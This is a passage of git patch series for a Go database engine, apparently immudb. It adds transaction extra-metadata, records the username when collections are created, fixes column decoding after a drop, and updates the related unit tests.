protomodel.FieldType_INTEGER, + Name: "active", + Type: protomodel.FieldType_BOOLEAN, }, ) require.NoError(t, err) @@ -1577,45 +1591,64 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { context.Background(), collectionName, &protomodel.Field{ - Name: "newFieldName", + Name: "active", Type: protomodel.FieldType_BOOLEAN, }, ) require.ErrorIs(t, err, ErrFieldAlreadyExists) + err = engine.RemoveField( + context.Background(), + collectionName, + "title", + ) + require.NoError(t, err) + err = engine.CreateIndex( context.Background(), collectionName, - []string{"newFieldName"}, + []string{"active"}, false, ) require.NoError(t, err) + _, _, err = engine.InsertDocument( + context.Background(), + collectionName, + &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "number": structpb.NewNumberValue(1), + "title": structpb.NewStringValue("title1"), + "amount": structpb.NewNumberValue(10), + }, + }) + require.NoError(t, err) + err = engine.RemoveField( context.Background(), collectionName, - "newFieldName", + "active", ) require.ErrorIs(t, err, sql.ErrCantDropIndexedColumn) err = engine.DeleteIndex( context.Background(), collectionName, - []string{"newFieldName"}, + []string{"active"}, ) require.NoError(t, err) err = engine.RemoveField( context.Background(), collectionName, - "newFieldName", + "active", ) require.NoError(t, err) err = engine.RemoveField( context.Background(), collectionName, - "newFieldName", + "active", ) require.ErrorIs(t, err, ErrFieldDoesNotExist) }) From f288091737aafc5126d73a3226df8b3ada20c510 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 29 Sep 2023 09:37:16 +0200 Subject: [PATCH 0806/1062] test(embedded/document): simplify unit test to reproduce issue when removing and adding field Signed-off-by: Jeronimo Irazabal --- embedded/document/engine_test.go | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 4331214912..a6e8325fe6 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -1450,7 +1450,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_DOUBLE}, {Name: "title", Type: protomodel.FieldType_STRING}, - {Name: "amount", Type: protomodel.FieldType_INTEGER}, + {Name: "comment", Type: protomodel.FieldType_STRING}, }, []*protomodel.Index{ {Fields: []string{"number"}}, @@ -1570,13 +1570,20 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ - "number": structpb.NewNumberValue(1), - "title": structpb.NewStringValue("title1"), - "amount": structpb.NewNumberValue(10), + "number": structpb.NewNumberValue(1), + "title": structpb.NewStringValue("title1"), + "comment": structpb.NewStringValue("some comment"), }, }) require.NoError(t, err) + err = engine.RemoveField( + context.Background(), + collectionName, + "title", + ) + require.NoError(t, err) + err = engine.AddField( context.Background(), collectionName, @@ -1597,13 +1604,6 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { ) require.ErrorIs(t, err, ErrFieldAlreadyExists) - err = engine.RemoveField( - context.Background(), - collectionName, - "title", - ) - require.NoError(t, err) - err = engine.CreateIndex( context.Background(), collectionName, @@ -1617,9 +1617,9 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ - "number": structpb.NewNumberValue(1), - "title": structpb.NewStringValue("title1"), - "amount": structpb.NewNumberValue(10), + "number": structpb.NewNumberValue(1), + "title": structpb.NewStringValue("title1"), + "comment": structpb.NewStringValue("some comment"), }, }) require.NoError(t, err) From a45db448717c68c15cc3338e2dca373194b5b2c8 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 29 Sep 2023 10:43:02 +0200 Subject: [PATCH 0807/1062] test(embedded/sql): unit test to reproduce issue when removing and adding columns Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 37 ++++++++++++++++++++----------------- 1 file changed, 20 insertions(+), 17 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 1fdcea4c85..365a74e730 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -1268,16 +1268,19 @@ func TestAlterTableDropColumn(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 DROP COLUMN active", nil) require.NoError(t, err) + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 ADD COLUMN deprecated BOOLEAN", nil) + require.NoError(t, err) + tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) catTable, err := tx.catalog.GetTableByName("table1") require.NoError(t, err) - require.Len(t, catTable.cols, 4) - require.Len(t, catTable.colsByID, 4) - require.Len(t, catTable.colsByName, 4) - require.EqualValues(t, catTable.maxColID, 5) + require.Len(t, catTable.cols, 5) + require.Len(t, catTable.colsByID, 5) + require.Len(t, catTable.colsByName, 5) + require.EqualValues(t, catTable.maxColID, 6) err = tx.Cancel() require.NoError(t, err) @@ -1297,8 +1300,8 @@ func TestAlterTableDropColumn(t *testing.T) { for i := 0; i < 3; i++ { row, err := res.Read(context.Background()) require.NoError(t, err) - require.Len(t, row.ValuesByPosition, 4) - require.Len(t, row.ValuesBySelector, 4) + require.Len(t, row.ValuesByPosition, 5) + require.Len(t, row.ValuesBySelector, 5) } _, err = res.Read(context.Background()) @@ -1318,10 +1321,10 @@ func TestAlterTableDropColumn(t *testing.T) { catTable, err := tx.catalog.GetTableByName("table1") require.NoError(t, err) - require.Len(t, catTable.cols, 3) - require.Len(t, catTable.colsByID, 3) - require.Len(t, catTable.colsByName, 3) - require.EqualValues(t, catTable.maxColID, 5) + require.Len(t, catTable.cols, 4) + require.Len(t, catTable.colsByID, 4) + require.Len(t, catTable.colsByName, 4) + require.EqualValues(t, catTable.maxColID, 6) err = tx.Cancel() require.NoError(t, err) @@ -1340,8 +1343,8 @@ func TestAlterTableDropColumn(t *testing.T) { for i := 0; i < 3; i++ { row, err := res.Read(context.Background()) require.NoError(t, err) - require.Len(t, row.ValuesByPosition, 3) - require.Len(t, row.ValuesBySelector, 3) + require.Len(t, row.ValuesByPosition, 4) + require.Len(t, row.ValuesBySelector, 4) } _, err = res.Read(context.Background()) @@ -1361,11 +1364,11 @@ func TestAlterTableDropColumn(t *testing.T) { catTable, err := tx.catalog.GetTableByName("table1") require.NoError(t, err) - require.Len(t, catTable.cols, 4) - require.Len(t, catTable.colsByID, 4) - require.Len(t, catTable.colsByName, 4) - require.EqualValues(t, 6, catTable.colsByName["active"].id) - require.EqualValues(t, 6, catTable.maxColID) + require.Len(t, catTable.cols, 5) + require.Len(t, catTable.colsByID, 5) + require.Len(t, catTable.colsByName, 5) + require.EqualValues(t, 7, catTable.colsByName["active"].id) + require.EqualValues(t, 7, catTable.maxColID) err = tx.Cancel() require.NoError(t, err) From 5f5a41543ccfc392fd26b62c272fd989c3b338a0 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 29 Sep 2023 12:26:35 +0200 Subject: [PATCH 0808/1062] fix(embedded/sql): advance position when decoding value at deleted column Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 2 ++ 1 file changed, 2 insertions(+) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 1d8c5d0b88..d09271ee15 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -300,6 +300,8 @@ func indexEntryMapperFor(index, primaryIndex *Index) store.EntryMapper { col, err := index.table.GetColumnByID(colID) if errors.Is(err, ErrColumnDoesNotExist) { + vlen := int(binary.BigEndian.Uint32(value[voff:])) + voff += EncLenLen + vlen continue } else if err != nil { return err From d0ada76aba641c4966d6808922d6fc77cbb15ae4 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 29 Sep 2023 17:17:47 +0200 Subject: [PATCH 0809/1062] fix(embedded/document): avoid waiting for tx to be committed Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index d6467a277b..446c531f3c 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -1285,6 +1285,10 @@ func (e *Engine) getDocument(key []byte, valRef store.ValueRef) (docAtRevision * } func (e *Engine) getEncodedDocument(ctx context.Context, key []byte, atTx uint64) (encDoc *EncodedDocument, err error) { + if atTx > e.sqlEngine.GetStore().LastPrecommittedTxID() { + return nil, store.ErrTxNotFound + } + err = e.sqlEngine.GetStore().WaitForIndexingUpto(ctx, atTx) if err != nil { return nil, err From 0b23929e32672c6aea5a3b3b599718f48f18b58d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 3 Oct 2023 15:36:01 +0200 Subject: [PATCH 0810/1062] chore(embedded/store): ensure index is erased from disk Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 0bbe664b65..a93f9cefa1 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -899,10 +899,7 @@ func (s *ImmuStore) DeleteIndex(prefix []byte) error { return fmt.Errorf("%w: index not found", ErrIndexNotFound) } - err := indexer.Close() - if err != nil { - return err - } + indexer.Close() delete(s.indexers, indexPrefix) From 1977f3937227afd14fb33193cbc596b1179b069c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 27 Sep 2023 13:36:16 +0200 Subject: [PATCH 0811/1062] feat(embedded/store): extra tx metadata Signed-off-by: Jeronimo Irazabal --- embedded/store/tx_metadata.go | 70 +++++++++++++++++++++++++++++- embedded/store/tx_metadata_test.go | 9 ++++ 2 files changed, 77 insertions(+), 2 deletions(-) diff --git a/embedded/store/tx_metadata.go b/embedded/store/tx_metadata.go index 8fc6b6371f..8e7be69b47 100644 --- a/embedded/store/tx_metadata.go +++ b/embedded/store/tx_metadata.go @@ -25,6 +25,7 @@ import ( // attributeCode is used to identify the attribute. const ( truncatedUptoTxAttrCode attributeCode = 0 + extraAttrCode attributeCode = 1 ) // attribute size is the size of the attribute in bytes. @@ -32,7 +33,10 @@ const ( truncatedUptoTxAttrSize = txIDSize ) -const maxTxMetadataLen = (attrCodeSize + truncatedUptoTxAttrSize) +const maxTxMetadataLen = (attrCodeSize + truncatedUptoTxAttrSize) + + (attrCodeSize + sszSize + maxExtraLen) + +const maxExtraLen = 256 // truncatedUptoTxAttribute is used to identify that the transaction // stores the information up to which given transaction ID the @@ -63,12 +67,47 @@ func (a *truncatedUptoTxAttribute) deserialize(b []byte) (int, error) { return txIDSize, nil } +type extraAttribute struct { + extra []byte +} + +// code returns the attribute code. +func (a *extraAttribute) code() attributeCode { + return extraAttrCode +} + +// serialize returns the serialized attribute. +func (a *extraAttribute) serialize() []byte { + var b [sszSize + maxExtraLen]byte + + binary.BigEndian.PutUint16(b[:], uint16(len(a.extra))) + copy(b[sszSize:], a.extra) + + return b[:sszSize+len(a.extra)] +} + +// deserialize deserializes the attribute. +func (a *extraAttribute) deserialize(b []byte) (int, error) { + if len(b) < sszSize { + return 0, ErrCorruptedData + } + + a.extra = make([]byte, binary.BigEndian.Uint16(b)) + copy(a.extra, b[sszSize:]) + + return sszSize + len(a.extra), nil +} + func getAttributeFrom(attrCode attributeCode) (attribute, error) { switch attrCode { case truncatedUptoTxAttrCode: { return &truncatedUptoTxAttribute{}, nil } + case extraAttrCode: + { + return &extraAttribute{}, nil + } default: { return nil, fmt.Errorf("error reading tx metadata attributes: %w", ErrCorruptedData) @@ -102,7 +141,7 @@ func (md *TxMetadata) Equal(amd *TxMetadata) bool { func (md *TxMetadata) Bytes() []byte { var b bytes.Buffer - for _, attrCode := range []attributeCode{truncatedUptoTxAttrCode} { + for _, attrCode := range []attributeCode{truncatedUptoTxAttrCode, extraAttrCode} { attr, ok := md.attributes[attrCode] if ok { b.WriteByte(byte(attr.code())) @@ -181,3 +220,30 @@ func (md *TxMetadata) WithTruncatedTxID(txID uint64) *TxMetadata { attr.(*truncatedUptoTxAttribute).txID = txID return md } + +func (md *TxMetadata) Extra() []byte { + attr, ok := md.attributes[extraAttrCode] + if !ok { + return nil + } + + return attr.(*extraAttribute).extra +} + +func (md *TxMetadata) WithExtra(data []byte) error { + if len(data) == 0 { + delete(md.attributes, extraAttrCode) + return nil + } + + if len(data) > maxExtraLen { + return fmt.Errorf("%w: max extra data length exceeded", ErrIllegalArguments) + } + + attr := &extraAttribute{extra: make([]byte, len(data))} + copy(attr.extra, data) + + md.attributes[extraAttrCode] = attr + + return nil +} diff --git a/embedded/store/tx_metadata_test.go b/embedded/store/tx_metadata_test.go index a21f42aaba..77b4be2683 100644 --- a/embedded/store/tx_metadata_test.go +++ b/embedded/store/tx_metadata_test.go @@ -71,6 +71,15 @@ func TestTxMetadataWithAttributes(t *testing.T) { require.NoError(t, err) require.Equal(t, uint64(10), v) + require.Nil(t, desmd.Extra()) + + extraData := []byte("extra-data") + + err = desmd.WithExtra(extraData) + require.NoError(t, err) + + require.Equal(t, extraData, desmd.Extra()) + require.False(t, desmd.IsEmpty()) bs = desmd.Bytes() From 99fee68f06190b0908c4fe8b2a95c9a27d5b7426 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 27 Sep 2023 13:37:02 +0200 Subject: [PATCH 0812/1062] feat(embedded/document): register user when creating collection Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 3 ++- embedded/document/engine_test.go | 30 +++++++++++++++++++++++++++++- 2 files changed, 31 insertions(+), 2 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 446c531f3c..3ab3546771 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -129,7 +129,7 @@ func validateFieldName(fieldName string) error { return nil } -func (e *Engine) CreateCollection(ctx context.Context, name, documentIdFieldName string, fields []*protomodel.Field, indexes []*protomodel.Index) error { +func (e *Engine) CreateCollection(ctx context.Context, username, name, documentIdFieldName string, fields []*protomodel.Field, indexes []*protomodel.Index) error { err := validateCollectionName(name) if err != nil { return err @@ -147,6 +147,7 @@ func (e *Engine) CreateCollection(ctx context.Context, name, documentIdFieldName // only catalog needs to be up to date opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). + WithExtra([]byte(username)). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). WithSnapshotRenewalPeriod(0). WithExplicitClose(true) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index a6e8325fe6..cd7e96b1a0 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -66,6 +66,7 @@ func TestCreateCollection(t *testing.T) { t.Run("collection creation should fail with invalid collection name", func(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", "1invalidCollectionName", "", []*protomodel.Field{ @@ -90,6 +91,7 @@ func TestCreateCollection(t *testing.T) { t.Run("collection creation should fail with invalid collection name", func(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", "collection", "", []*protomodel.Field{ @@ -114,6 +116,7 @@ func TestCreateCollection(t *testing.T) { t.Run("collection creation should fail with invalid field name", func(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{ @@ -129,6 +132,7 @@ func TestCreateCollection(t *testing.T) { t.Run("collection creation should fail with reserved field name", func(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{ @@ -144,6 +148,7 @@ func TestCreateCollection(t *testing.T) { t.Run("collection creation should fail with invalid field name", func(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{ @@ -157,6 +162,7 @@ func TestCreateCollection(t *testing.T) { t.Run("collection creation should fail with invalid document id field name", func(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "invalid.docid", []*protomodel.Field{ @@ -179,6 +185,7 @@ func TestCreateCollection(t *testing.T) { t.Run("collection creation should fail with invalid document id field name", func(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, DocumentBLOBField, []*protomodel.Field{ @@ -201,6 +208,7 @@ func TestCreateCollection(t *testing.T) { t.Run("collection creation should fail with invalid field name", func(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{ @@ -222,6 +230,7 @@ func TestCreateCollection(t *testing.T) { t.Run("collection creation should fail with unexistent field", func(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{ @@ -244,6 +253,7 @@ func TestCreateCollection(t *testing.T) { t.Run("collection creation should fail with invalid index", func(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{ @@ -259,6 +269,7 @@ func TestCreateCollection(t *testing.T) { t.Run("collection creation should fail with invalid index", func(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{}, @@ -272,6 +283,7 @@ func TestCreateCollection(t *testing.T) { t.Run("collection creation should fail with invalid index", func(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{}, @@ -284,6 +296,7 @@ func TestCreateCollection(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "doc-id", []*protomodel.Field{ @@ -309,6 +322,7 @@ func TestCreateCollection(t *testing.T) { // creating collection with the same name should throw error err = engine.CreateCollection( context.Background(), + "admin", collectionName, "", nil, @@ -334,6 +348,7 @@ func TestListCollections(t *testing.T) { for _, collectionName := range collections { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{ @@ -367,6 +382,7 @@ func TestGetDocument(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{ @@ -466,6 +482,7 @@ func TestDocumentAudit(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{ @@ -604,6 +621,7 @@ func TestQueryDocuments(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{ @@ -1028,6 +1046,7 @@ func TestDocumentUpdate(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{ @@ -1255,6 +1274,7 @@ func TestFloatSupport(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{ @@ -1308,6 +1328,7 @@ func TestDeleteCollection(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{ @@ -1347,6 +1368,7 @@ func TestUpdateCollection(t *testing.T) { t.Run("create collection and add index", func(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{ @@ -1445,6 +1467,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { t.Run("create collection and add index", func(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{ @@ -1724,6 +1747,7 @@ func TestBulkInsert(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{ @@ -1777,6 +1801,7 @@ func TestPaginationOnReader(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{ @@ -1842,7 +1867,7 @@ func TestDeleteDocument(t *testing.T) { engine := makeEngine(t) // create collection collectionName := "mycollection" - err := engine.CreateCollection(context.Background(), collectionName, "", []*protomodel.Field{ + err := engine.CreateCollection(context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "pincode", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, }, nil) @@ -1906,6 +1931,7 @@ func TestGetCollection(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{ @@ -1951,6 +1977,7 @@ func TestGetDocuments_WithOrderBy(t *testing.T) { err := engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{ @@ -2033,6 +2060,7 @@ func BenchmarkInsertion(b *testing.B) { err = engine.CreateCollection( context.Background(), + "admin", collectionName, "", []*protomodel.Field{ From a55b8468db575b17be2128d5bebc0759bba8ebb5 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 27 Sep 2023 13:37:35 +0200 Subject: [PATCH 0813/1062] feat(embedded/sql): extra metadata when creating tx Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 10 ++++++++++ embedded/sql/sql_tx_options.go | 6 ++++++ 2 files changed, 16 insertions(+) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index d09271ee15..d6377919f1 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -181,6 +181,16 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { return nil, err } + if len(opts.Extra) > 0 { + txmd := store.NewTxMetadata() + err := txmd.WithExtra(opts.Extra) + if err != nil { + return nil, err + } + + tx.WithMetadata(txmd) + } + catalog := newCatalog(e.prefix) err = catalog.load(ctx, tx) diff --git a/embedded/sql/sql_tx_options.go b/embedded/sql/sql_tx_options.go index cd27f54203..cded59d58b 100644 --- a/embedded/sql/sql_tx_options.go +++ b/embedded/sql/sql_tx_options.go @@ -29,6 +29,7 @@ type TxOptions struct { SnapshotRenewalPeriod time.Duration ExplicitClose bool UnsafeMVCC bool + Extra []byte } func DefaultTxOptions() *TxOptions { @@ -75,3 +76,8 @@ func (opts *TxOptions) WithUnsafeMVCC(unsafeMVCC bool) *TxOptions { opts.UnsafeMVCC = unsafeMVCC return opts } + +func (opts *TxOptions) WithExtra(data []byte) *TxOptions { + opts.Extra = data + return opts +} From 80cedb7cf1c98303768dba779e0b61c9dd0dc177 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 27 Sep 2023 17:00:12 +0200 Subject: [PATCH 0814/1062] feat(pkg/database): add user when creating collection Signed-off-by: Jeronimo Irazabal --- pkg/database/document_database.go | 6 +++--- pkg/database/document_database_test.go | 12 ++++++------ pkg/database/truncator_test.go | 2 +- 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 27b9bc5110..bc3eb0e74d 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -32,7 +32,7 @@ type DocumentDatabase interface { // GetCollections returns the list of collection schemas GetCollections(ctx context.Context, req *protomodel.GetCollectionsRequest) (*protomodel.GetCollectionsResponse, error) // CreateCollection creates a new collection - CreateCollection(ctx context.Context, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) + CreateCollection(ctx context.Context, username string, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) // UpdateCollection updates an existing collection UpdateCollection(ctx context.Context, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) // DeleteCollection deletes a collection @@ -62,7 +62,7 @@ type DocumentDatabase interface { } // CreateCollection creates a new collection -func (d *db) CreateCollection(ctx context.Context, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) { +func (d *db) CreateCollection(ctx context.Context, username string, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -74,7 +74,7 @@ func (d *db) CreateCollection(ctx context.Context, req *protomodel.CreateCollect return nil, ErrIllegalArguments } - err := d.documentEngine.CreateCollection(ctx, req.Name, req.DocumentIdFieldName, req.Fields, req.Indexes) + err := d.documentEngine.CreateCollection(ctx, username, req.Name, req.DocumentIdFieldName, req.Fields, req.Indexes) if err != nil { return nil, err } diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index cbe396f80f..0ed74b006a 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -60,7 +60,7 @@ func makeDocumentDb(t *testing.T) *db { func TestDocumentDB_InvalidParameters(t *testing.T) { db := makeDocumentDb(t) - _, err := db.CreateCollection(context.Background(), nil) + _, err := db.CreateCollection(context.Background(), "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.GetCollection(context.Background(), nil) @@ -102,7 +102,7 @@ func TestDocumentDB_WritesOnReplica(t *testing.T) { db.AsReplica(true, false, 0) - _, err := db.CreateCollection(context.Background(), &protomodel.CreateCollectionRequest{}) + _, err := db.CreateCollection(context.Background(), "admin", &protomodel.CreateCollectionRequest{}) require.ErrorIs(t, err, ErrIsReplica) _, err = db.UpdateCollection(context.Background(), &protomodel.UpdateCollectionRequest{}) @@ -139,7 +139,7 @@ func TestDocumentDB_WithCollections(t *testing.T) { defaultCollectionName := "mycollection" t.Run("should pass when creating a collection", func(t *testing.T) { - _, err := db.CreateCollection(context.Background(), &protomodel.CreateCollectionRequest{ + _, err := db.CreateCollection(context.Background(), "admin", &protomodel.CreateCollectionRequest{ Name: defaultCollectionName, Fields: []*protomodel.Field{ {Name: "uuid", Type: protomodel.FieldType_UUID}, @@ -340,7 +340,7 @@ func TestDocumentDB_WithCollections(t *testing.T) { collections := []string{"mycollection1", "mycollection2", "mycollection3"} for _, collectionName := range collections { - _, err := db.CreateCollection(context.Background(), &protomodel.CreateCollectionRequest{ + _, err := db.CreateCollection(context.Background(), "admin", &protomodel.CreateCollectionRequest{ Name: collectionName, Fields: []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_INTEGER}, @@ -376,7 +376,7 @@ func TestDocumentDB_WithDocuments(t *testing.T) { // create collection collectionName := "mycollection" - _, err := db.CreateCollection(context.Background(), &protomodel.CreateCollectionRequest{ + _, err := db.CreateCollection(context.Background(), "admin", &protomodel.CreateCollectionRequest{ Name: collectionName, Fields: []*protomodel.Field{ {Name: "uuid", Type: protomodel.FieldType_UUID}, @@ -653,7 +653,7 @@ func TestDocumentDB_WithSerializedJsonDocument(t *testing.T) { collectionName := "mycollection" - _, err := db.CreateCollection(context.Background(), &protomodel.CreateCollectionRequest{ + _, err := db.CreateCollection(context.Background(), "admin", &protomodel.CreateCollectionRequest{ Name: collectionName, Fields: []*protomodel.Field{}, Indexes: []*protomodel.Index{}, diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index 79a90a8148..237fb87471 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -652,7 +652,7 @@ func Test_vlogCompactor_with_document_store(t *testing.T) { // create new document store // create collection collectionName := "mycollection" - _, err := db.CreateCollection(context.Background(), &protomodel.CreateCollectionRequest{ + _, err := db.CreateCollection(context.Background(), "admin", &protomodel.CreateCollectionRequest{ Name: collectionName, Fields: []*protomodel.Field{ {Name: "pincode", Type: protomodel.FieldType_DOUBLE}, From 045a6557ae38f4b6b7dc1edded88a4a97b4bd943 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 27 Sep 2023 17:00:29 +0200 Subject: [PATCH 0815/1062] feat(pkg/server): add user when creating collection Signed-off-by: Jeronimo Irazabal --- pkg/server/db_dummy_closed.go | 2 +- pkg/server/db_dummy_closed_test.go | 2 +- pkg/server/documents_operations.go | 7 ++++++- 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index f468cc8794..d9ef459c21 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -247,7 +247,7 @@ func (db *closedDB) Truncate(ts time.Duration) error { } // CreateCollection creates a new collection -func (d *closedDB) CreateCollection(ctx context.Context, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) { +func (d *closedDB) CreateCollection(ctx context.Context, username string, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/db_dummy_closed_test.go b/pkg/server/db_dummy_closed_test.go index 9e8612409f..ff74a09e75 100644 --- a/pkg/server/db_dummy_closed_test.go +++ b/pkg/server/db_dummy_closed_test.go @@ -170,7 +170,7 @@ func TestDummyClosedDatabase(t *testing.T) { err = cdb.Truncate(0) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.CreateCollection(context.Background(), nil) + _, err = cdb.CreateCollection(context.Background(), "admin", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.GetCollection(context.Background(), nil) diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index c6e73f32fe..85ebf7341f 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -35,7 +35,12 @@ func (s *ImmuServer) CreateCollection(ctx context.Context, req *protomodel.Creat return nil, err } - return db.CreateCollection(ctx, req) + _, user, err := s.getLoggedInUserdataFromCtx(ctx) + if err != nil { + return nil, fmt.Errorf("could not get loggedin user data") + } + + return db.CreateCollection(ctx, user.Username, req) } func (s *ImmuServer) UpdateCollection(ctx context.Context, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) { From cda47029c451dafb2dfadc24328de4685ffac2c9 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 27 Sep 2023 17:24:53 +0200 Subject: [PATCH 0816/1062] chore(embedded/document): register username when applying a change Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 33 ++++++++------ embedded/document/engine_test.go | 76 ++++++++++++++++++++++---------- 2 files changed, 72 insertions(+), 37 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 3ab3546771..c4547d7db4 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -376,7 +376,7 @@ func collectionFromTable(table *sql.Table) *protomodel.Collection { return collection } -func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, documentIdFieldName string) error { +func (e *Engine) UpdateCollection(ctx 